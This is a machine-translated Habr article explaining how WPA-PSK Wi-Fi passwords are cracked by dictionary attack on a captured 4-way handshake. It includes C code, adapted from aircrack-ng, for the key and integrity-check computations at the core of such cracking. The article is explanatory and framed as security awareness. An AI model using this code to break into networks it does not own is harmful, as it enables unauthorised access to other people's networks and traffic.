📜 ⬆️ ⬇️

About the WPA-PSK hacking algorithm

Good day, dear Habroskoobschestvo!
In this topic, I would like to consider some subtle issues related to attacks on Wi-Fi networks in the shared WPA-PSK key mode (to put it more simply, WPA-PSK is a mode without a dedicated authentication server that most Wi-Fi users use, for example when creating a computer-to-computer network connection).

Why all this?


On the vast expanses of the Internet, you can find a description of the methods of such an attack, and download the program of its semi-automatic (a bright example of aircrack-ng ). But most of these programs are presented to the user in the form of a kind of black box, which is also good if it works in accordance with its manual.

A recent article on Habré, devoted to one of these programs, mentioning in itself the use of rainbow tables (is it possible?) To speed up the attack, and pushed me to write this topic. I hope the information will be useful, since I have not seen any analogs on the network either in domestic or in enemy languages.
')

To attack, comrades!


The essence of the attack on the network in WPA-PSK mode is as follows: using the vulnerabilities of the user authentication protocol (namely, open data transfer), get some authorization data from the network, and then play the authentication algorithm on the attacker's side ( wiki in the subject, sorry for the time being ) by inserting the intercepted traffic fragment and password (the so-called shared key) into the source data. The real password to the attacker is not known, therefore, passwords are chosen sequentially from a previously prepared dictionary. If during the replay of the authentication algorithm a “successful user authorization” occurs, then the password selected from the dictionary is true and the attack resulted in a successful hacking of the network. More information about the algorithm for establishing a connection (4-way handshake) can be found in the original source .

The farther into the forest, the angrier the wolves

Now we delve a little into the wilds of the wonderful (whether?) IEEE 802.11i standard and consider in more detail the 4-way handshake algorithm.

Based on the mode name ("... with a shared key") it is logical to assume that in the process of establishing a connection and further communication between the client and the access point, some "key" (trouble, trouble with native speech) scheme will be used, namely a set of keys, both temporary and static, used to encrypt traffic, verify the integrity of messages, etc. In this case, the agreement on the use of keys occurs at the stage of a 4-party handshake.

To reproduce the user’s authentication algorithm on the side of the attacker, it is necessary to have information not only from 4-way handshake packets, but also from the broadcast packets of the access point of information about the network organized by it (Access Point Beacon, the sign of such a packet is the MAC address of the sender == MAC- address of the access point (bssid in the notification of the standard), the MAC address of the recipient broadcast FF: FF: FF: FF: FF: FF). In particular, it is necessary to obtain the network name from such frames (essid in the notification of the standard).

4-party handshake messages (4 data link layer frames) contain information fields of the following contents (I indicate only what is needed for the subsequent writing of the code that reproduces the attack algorithm, for details - as standard):
Signs that the frame is a 4-way handshake message are easily found in the IEEE 802.11i standard in the same section (4-way handshake).

Now briefly about the connection establishment algorithm - the access point and the client exchange the above data (but not only them), transmitting information in an open (unencrypted) form. At the same time, to eliminate the complication of conducting a man-in-the-middle attack, check the integrity of messages (starting from the second frame!) By calculating the message hashing function based on a hash ( HMAC ), by its content using not only a static key, t Ie the password (and actually the hash from it), but also the random numbers anonce and snonce generated by the handshake participants at the moment of the connection establishment (and their hardware addresses are also used). As a result, since both the client and the access point know each other's random numbers, and the password must be the same, the message integrity keys will coincide on both sides. If during the transfer of 4 frames of the handshake 3 successful integrity checks are fixed (and the devices manage to agree on the supported modes of operation), then the access point concludes that a valid client is connected.

As can be seen from the above description, no keys (neither the password nor the temporary integrity check keys) are transmitted in the clear over the network.

There is a fair question - how can an attacker get the coveted key?

Inside the black box

Having a little thought, a simple solution comes to mind - the algorithm is known, the input data, with the exception of the password itself, is also known. So what prevents to carry out calculations of the key of the integrity of the message by choosing any random (well, maybe not completely random, yet amuse your CSW, using godgod passwords and so on) the password from Vladimir Ivanovich Dahl's dictionary on the shelf. Suppose we make mistakes several thousand (or millions) times, but sooner or later Fortune can smile at us to the attacker with his Hollywood smile, and the calculated key of integrity will coincide with the intercepted one. And this will mean only one thing (rightly in connection with the avalanche effect of hashing functions) - the password used to create the network has been opened!

Finally code

So, the last spurt. Who read to here now get candy.

The theory behind, ahead of practice. What should be done first? Correctly, calculate the set of keys. And for WPA-PSK mode, it’s quite small:
  1. PMK master key (repeatedly hashed password using essid network name as seed).
  2. The transfer key PTK (with the help of it, or rather its part, the key of the message integrity is calculated).
How are keys calculated? This is where the open source code of the aircrack-ng software package can help us, and reading RFCs is particularly eager for a scientific approach.

Let's start with paragraph 1.

void calc_pmk( char *key, char *essid_pre, uchar pmk[40] ) { int i, j, slen; uchar buffer[65]; char essid[33+4]; SHA_CTX ctx_ipad; SHA_CTX ctx_opad; SHA_CTX sha1_ctx; memset(essid, 0, sizeof(essid)); memcpy(essid, essid_pre, strlen(essid_pre)); slen = strlen( essid ) + 4; /* setup the inner and outer contexts */ memset( buffer, 0, sizeof( buffer ) ); strncpy( (char *) buffer, key, sizeof( buffer ) - 1 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x36; //SHA1_Init() initializes a SHA_CTX structure. SHA1_Init( &ctx_ipad ); //SHA1_Update() can be called repeatedly with chunks of the message to be hashed (len bytes at data). SHA1_Update( &ctx_ipad, buffer, 64 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x6A; SHA1_Init( &ctx_opad ); SHA1_Update( &ctx_opad, buffer, 64 ); /* iterate HMAC-SHA1 over itself 8192 times */ essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk, NULL); memcpy( buffer, pmk, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); //SHA1_Final() places the message digest in md, which must have space for SHA_DIGEST_LENGTH == //20 bytes of output, and erases the SHA_CTX SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j] ^= buffer[j]; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk+20, NULL); memcpy( buffer, pmk + 20, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j + 20] ^= buffer[j]; } } 

Actually 90% of the code is already behind. As you can see all the simplest operations, SHA-1 is used as a hashing algorithm, namely its implementation, supplied in OpenSSL . The sense of using a key as a key is not a password, but a hash from it is twofold - on the one hand, this is the way to unify the key length (since the length of the password itself can vary from 8 to 63 ASCII characters), and on the other hand, entering the computational the complexity of the algorithm for the formation of the scheme of keys to avoid lightweight brute-force attacks (these are two cycles of 4095 iterations in the code).

Proceed to paragraph 2. Here, the temporal is calculated (the essence of temporality is that its calculation involves two random numbers snonce and anonce, which are new each time the connection is established) PTK key used to calculate the integrity keys of the transmitted frames. In addition to the snonce and anonce numbers, the MAC addresses of the access point and the client are involved in its formation, the sacramental phrase “Pairwise key expansion” (they will come up with this) and of course the key of the program is the PMK key. The need to form a key for all these parameters makes it, on the one hand, limited in time of use (no rainbow tables will help now), on the other hand tied to specific equipment (the man-in-the-middle attack is complicated), and on the third hand, though indirectly , but it is long computed since it cannot be obtained bypassing the PMK key generation algorithm.

 void calc_ptk( uchar *pmk, uchar pke[100], uchar *ptk ) { /* compute the pairwise transient key*/ for (int i = 0; i < 4; i++) { pke[99] = i; HMAC(EVP_sha1(), pmk, 32, pke, 100, ptk + i * 20, NULL); } } void main() { uchar pmk[40]; //  32  uchar ptk[80]; uchar mic[20]; //  16  char *key = "12345678"; char essid_pre[32]; memset(essid_pre, 0, 32); memcpy(essid_pre, "Harkonen", 8); uchar bssid[6] = { 0x00, 0x14, 0x6c, 0x7e, 0x40, 0x80 }; uchar stmac[6] = { 0x00, 0x13, 0x46, 0xfe, 0x32, 0x0c }; uchar anonce[32] = { 0x22, 0x58, 0x54, 0xb0, 0x44, 0x4d, 0xe3, 0xaf, 0x06, 0xd1, 0x49, 0x2b, 0x85, 0x29, 0x84, 0xf0, 0x4c, 0xf6, 0x27, 0x4c, 0x0e, 0x32, 0x18, 0xb8, 0x68, 0x17, 0x56, 0x86, 0x4d, 0xb7, 0xa0, 0x55 }; uchar snonce[32] = { 0x59, 0x16, 0x8b, 0xc3, 0xa5, 0xdf, 0x18, 0xd7, 0x1e, 0xfb, 0x64, 0x23, 0xf3, 0x40, 0x08, 0x8d, 0xab, 0x9e, 0x1b, 0xa2, 0xbb, 0xc5, 0x86, 0x59, 0xe0, 0x7b, 0x37, 0x64, 0xb0, 0xde, 0x85, 0x70 }; uchar pke[100]; memset(pke, 0, 100); memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( stmac, bssid, 6 ) < 0 ) { memcpy( pke + 23, stmac, 6 ); memcpy( pke + 29, bssid, 6 ); } else { memcpy( pke + 23, bssid, 6 ); memcpy( pke + 29, stmac, 6 ); } if( memcmp( snonce, anonce, 32 ) < 0 ) { memcpy( pke + 35, snonce, 32 ); memcpy( pke + 67, anonce, 32 ); } else { memcpy( pke + 35, anonce, 32 ); memcpy( pke + 67, snonce, 32 ); } calc_pmk( key, essid_pre, pmk ); calc_ptk( pmk, pke, ptk ); } 

The code is elementary again. First, in the main, the pke array is formed, containing all the parameters described above, and then the 4-fold calculation of the HMAC. Although we will continue to be interested only in the first 16 bytes.

The actual formation of a set of keys is completed. It only remains to calculate the integrity key using any of the 4-way handshake frames (having previously filled the mic field with zeros in it) using PTK and compare the result with the intercepted key. The function of calculating the key of the mic mic is presented in the following code snippet. The various branches of the if statement correspond to the WPA and WPA2 data protection protocol versions.

 void calc_mic( int wpaKeyVer, uchar *ptk, uchar *eapol, size_t eapolSize, uchar *mic ) { if (wpaKeyVer == 1) HMAC(EVP_md5(), ptk, 16, eapol, eapolSize, mic, NULL); else HMAC(EVP_sha1(), ptk, 16, eapol, eapolSize, mic, NULL); } 

An example of a working draft can be taken from here .

Obviously, to organize a full-blown brute force attack, it remains only to repeat the above algorithm for each password from the dictionary.

Thinking out loud

The analysis of the user authentication algorithm in WPA / WPA2-PSK leads to the following conclusion: rainbow tables become irrelevant with this approach to calculating keys, and the speed of brute force passwords from the dictionary comes to the fore.

But about this next time ...

Matches for children is not a toy

This topic was erupted from the depths of my subconscious solely in order to improve the security of information transfer in wireless networks Wi-Fi. By publicly exposing hacking methods used by careless individuals, we contribute to raising the level of knowledge of a wide range of users, and as they say, “Warned, it means armed!”

Source: https://habr.com/ru/post/122623/


All Articles